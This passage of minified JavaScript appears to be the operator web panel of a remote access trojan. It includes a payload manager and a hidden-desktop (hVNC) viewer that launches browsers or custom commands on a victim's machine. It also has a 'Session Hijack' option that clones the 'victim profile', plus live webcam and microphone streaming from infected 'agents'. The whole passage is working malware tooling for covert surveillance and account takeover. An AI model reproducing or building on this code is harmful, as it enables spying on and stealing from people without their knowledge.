24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),le===V.payload_id?a.jsxs("div",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>ve(V.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),a.jsx("button",{onClick:()=>we(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):a.jsx("button",{onClick:()=>we(V.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},V.payload_id)})})]}),a.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function ir({label:e,children:t}){return a.jsxs("div",{children:[a.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const yV=[{label:"Explorer",cmd:"explorer.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("circle",{cx:"12",cy:"12",r:"10"}),a.jsx("circle",{cx:"12",cy:"12",r:"4"}),a.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),a.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),a.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function bV(){const{id:e}=rl(),[t]=Sx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=m.useRef(null),s=m.useRef(null),o=m.useRef(null),l=m.useRef(null),c=m.useRef(null),u=m.useRef({x:-1,y:-1}),d=m.useRef(null),f=m.useRef(0),[p,h]=m.useState(!0),[x,g]=m.useState(!0),[y,v]=m.useState(!1),[b,w]=m.useState(60),[j,N]=m.useState(20),[z,k]=m.useState(0),[S,A]=m.useState({w:0,h:0}),[,_]=m.useState(""),[O,P]=m.useState(null),[I,Y]=m.useState(!1),[D,M]=m.useState(!1),W=m.useRef(!1),[$,H]=m.useState({w:0,h:0});m.useEffect(()=>{const U=l.current;if(!U)return;const Q=new ResizeObserver(he=>{const E=he[0];E&&H({w:E.contentRect.width,h:E.contentRect.height})});return Q.observe(U),()=>Q.disconnect()},[]);const F=m.useMemo(()=>{if(S.w<=0||S.h<=0||$.w<=0||$.h<=0)return null;const U=Math.min($.w/S.w,$.h/S.h);return{width:Math.floor(S.w*U),height:Math.floor(S.h*U)}},[S,$]),K=m.useRef({x:0,y:0,w:0,h:0}),Z=m.useRef(null),oe=m.useCallback((U,Q)=>{const he=s.current;if(!he)return;Z.current||(Z.current=he.getContext("2d"));const E=Z.current;if(!E)return;const ce=K.current;if(ce.w>0&&E.clearRect(ce.x,ce.y,ce.w,ce.h),U<0||Q<0){K.current={x:0,y:0,w:0,h:0};return}K.current={x:U-1,y:Q-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(U,Q),E.lineTo(U,Q+18),E.lineTo(U+5,Q+14),E.lineTo(U+9,Q+21),E.lineTo(U+12,Q+20),E.lineTo(U+8,Q+13),E.lineTo(U+13,Q+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),de=m.useCallback((U,Q)=>{const he=s.current;if(!he)return;const E=he.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(U,Q,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{oe(u.current.x,u.current.y)},150))},[oe]),be=m.useCallback((U,Q,he,E,ce)=>{W.current||(W.current=!0,M(!0)),A({w:Q,h:he});const J=i.current;if(!J)return;const xe=J.getContext("2d");if(!xe)return;(J.width!==Q||J.height!==he)&&(J.width=Q,J.height=he);const ke=s.current;if(ke&&(ke.width!==Q||ke.height!==he)&&(ke.width=Q,ke.height=he,Z.current=null),typeof U=="string"){const ze=c.current||new Image;c.current=ze,ze.onload=()=>{xe.drawImage(ze,0,0)},ze.src=U}else U instanceof ImageBitmap?(xe.drawImage(U,0,0),U.close()):xe.drawImage(U,0,0)},[r]),ye=m.useCallback(()=>{},[]),{isConnected:G,stats:te,controls:C,connect:q,disconnect:ne}=Nv({agentId:e||"",mode:n,onFrame:be,onDisconnect:ye});m.useEffect(()=>{e&&q()},[e,q]);const B=m.useCallback(U=>{const Q=s.current,he=i.current;if(!Q||!he||S.w===0)return{x:0,y:0};const E=Q.getBoundingClientRect(),ce=he.width/E.width,J=he.height/E.height;return{x:Math.min(Math.max(Math.round((U.clientX-E.left)*ce),0),he.width-1),y:Math.min(Math.max(Math.round((U.clientY-E.top)*J),0),he.height-1)}},[S]),le=m.useCallback(U=>{if(!p||y)return;const{x:Q,y:he}=B(U);u.current={x:Q,y:he};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Q,he)),oe(Q,he)},[p,y,B,C,oe]),we=m.useCallback(U=>{if(!p||y)return;const{x:Q,y:he}=B(U);C.sendMouseButton(U.button,1,Q,he),de(Q,he)},[p,y,B,C,de]),Ne=m.useCallback(U=>{if(!p||y)return;const{x:Q,y:he}=B(U);C.sendMouseButton(U.button,0,Q,he)},[p,y,B,C]),Ae=m.useCallback(U=>{if(!p||y)return;const{x:Q,y:he}=B(U),E=U.deltaY>0?-120:120;C.sendMouseScroll(E,Q,he)},[p,y,B,C]);m.useEffect(()=>{if(!x||y)return;const U=(E,ce)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(ce,J,0)},Q=E=>U(E,1),he=E=>U(E,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",he,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",he,!0)}},[x,y,C]),m.useEffect(()=>{C.setViewOnly(y)},[y,C]);const R=m.useCallback(U=>{w(U),C.setQuality(U)},[C]),fe=m.useCallback(async()=>{try{const U=await navigator.clipboard.readText();U&&C.sendClipboard(U)}catch{}},[C]),ve=m.useCallback(()=>{var U,Q;(Q=(U=o.current)==null?void 0:U.requestFullscreen)==null||Q.call(U)},[]),V=m.useCallback(async()=>{if(ne(),e)try{r?await a_(e):await i_(e)}catch{}window.close()},[e,ne,r]),ae=m.useCallback(async U=>{if(!(!e||!U.trim())){P(null);try{await s_(e,U.trim(),I),P(`Launched ${U.trim()}${I?" (hijack)":""}`),_(""),setTimeout(()=>P(null),3e3)}catch(Q){P(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,I]);return a.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&a.jsxs(a.Fragment,{children:[a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," tiles"]})]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),a.jsx("div",{className:"flex-1"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:p?"#06B6D4":"#27272A"},title:"Mouse"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),O&&a.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${O.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:O.startsWith("Failed")?"#EF4444":"#06B6D4"},children:O}),a.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[G&&a.jsxs("div",{className:"relative",style:{width:F?F.width:void 0,height:F?F.height:void 0,display:D?"block":"none"},children:[a.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),a.jsx("canvas",{ref:s,onMouseMove:le,onMouseDown:we,onMouseUp:Ne,onWheel:Ae,onContextMenu:U=>U.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:p&&!y?"none":"default"}})]}),(!G||!D)&&a.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:a.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:G?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),a.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(U=>a.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${U*.3}s`}},U))})]})]})})]}),a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:G?"#22C55E":"#EF4444",boxShadow:G?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:G?"LIVE":"OFFLINE"})]}),a.jsx(Xs,{}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),a.jsx(Xs,{}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:U=>R(Number(U.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:U=>{const Q=Number(U.target.value);N(Q),C.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),a.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:a.jsxs("select",{value:z,onChange:U=>{const Q=Number(U.target.value);k(Q),C.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[a.jsx("option",{value:0,children:"Auto"}),a.jsx("option",{value:1,children:"DXGI"}),a.jsx("option",{value:2,children:"GDI"})]})}),a.jsx(Xs,{}),a.jsx(Om,{label:"MOUSE",active:p,onClick:()=>h(!p),icon:a.jsx(wV,{})}),a.jsx(Om,{label:"KEYS",active:x,onClick:()=>g(!x),icon:a.jsx(jV,{})}),a.jsx(Om,{label:"VIEW",active:y,onClick:()=>v(!y),icon:a.jsx(NV,{})}),a.jsx(Xs,{}),a.jsx(K2,{onClick:fe,title:"Sync clipboard",children:a.jsx(kV,{})}),a.jsx(K2,{onClick:ve,title:"Fullscreen",children:a.jsx(zV,{})}),r&&a.jsxs(a.Fragment,{children:[a.jsx(Xs,{}),a.jsxs("button",{onClick:()=>Y(U=>!U),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:I?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:I?"#22D3EE":"#52525B",background:I?"rgba(6, 182, 212, 0.12)":"transparent",border:I?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),yV.map(U=>a.jsxs("button",{onClick:()=>ae(U.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${U.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[U.icon,a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:U.label})]},U.cmd)),a.jsxs("button",{onClick:()=>{const U=prompt("Command to launch on hidden desktop:");U&&ae(U)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:U=>{U.currentTarget.style.color="#A1A1AA",U.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:U=>{U.currentTarget.style.color="#52525B",U.currentTarget.style.background="transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:S.w>0?`${S.w}×${S.h}`:"—"}),a.jsxs("button",{onClick:V,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:U=>{U.currentTarget.style.background="rgba(239, 68, 68, 0.12)",U.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:U=>{U.currentTarget.style.background="rgba(239, 68, 68, 0.06)",U.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[a.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Xs(){return a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function Om({label:e,active:t,onClick:n,icon:r}){return a.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function K2({onClick:e,title:t,children:n}){return a.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function wV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function jV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function NV(){return a.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function kV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function zV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function SV(){const{id:e}=rl(),t=m.useRef(null),n=m.useRef(null),r=m.useRef(null),[i,s]=m.useState(!1),o=m.useRef(!1),[l,c]=m.useState({w:0,h:0}),u=m.useCallback((g,y,v)=>{o.current||(o.current=!0,s(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:p,disconnect:h}=Nv({agentId:e||"",mode:"webcam",onFrame:u});m.useEffect(()=>{e&&p()},[e,p]),m.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=m.useCallback(async()=>{if(h(),e)try{await o_(e)}catch{}window.close()},[e,h]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),a.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&a.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&a.jsxs("div",{className:"flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function CV({agentId:e,onDisconnect:t}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0),[s,o]=m.useState(!1),[l,c]=m.useState(!1),u=m.useRef(!1),[d,f]=m.useState({chunkCount:0,sampleRate:0}),p=m.useCallback(()=>{if(n.current)return;const g=st();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const N=j.getUint16(0,!0),z=j.getUint8(2),k=j.getUint8(3),S=12,A=w.data.byteLength-S;if(f(M=>({chunkCount:M.chunkCount+1,sampleRate:N})),u.current)return;const _=r.current;if(!_||_.state==="closed")return;_.state==="suspended"&&_.resume();const O=A/(z/8)/k,P=_.createBuffer(k,O,N),I=new DataView(w.data,S);for(let M=0;M{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=m.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=m.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return m.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:s,isMuted:l,stats:d,connect:p,disconnect:h,toggleMute:x}}function PV(){const{id:e}=rl(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:s,toggleMute:o}=CV({agentId:e||""});m.useEffect(()=>{e&&i()},[e,i]);const l=m.useCallback(async()=>{if(s(),e)try{await l_(e)}catch{}window.close()},[e,s]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 